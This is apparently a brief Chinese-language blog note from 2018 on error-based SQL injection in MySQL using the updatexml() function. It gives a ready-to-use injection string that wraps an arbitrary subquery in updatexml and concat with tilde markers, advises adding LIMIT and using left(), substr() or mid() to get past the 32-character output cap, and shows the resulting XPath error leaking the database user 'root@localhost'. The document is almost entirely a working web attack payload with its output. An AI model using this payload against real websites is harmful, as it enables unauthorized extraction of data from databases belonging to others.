MySQL updatexml 注入

X1r0z 收录于 Web

2018-02-07 2018-02-07 约 100 字预计阅读 1 分钟

MySQL updatexml 注入

UPDATEXML (XML_document, XPath_string, new_value);

XPath_string: Xpath 语法.

id=1 and updatexml(1,concat(0x7e,(PAYLOAD),0x7e),1)

PAYLOAD 自行替换记得加上 limit.

updatexml() 最大返回 32 位可以用 left() or substr() mid() 来截取后面的内容.

XPATH syntax error:'~root@localhost~'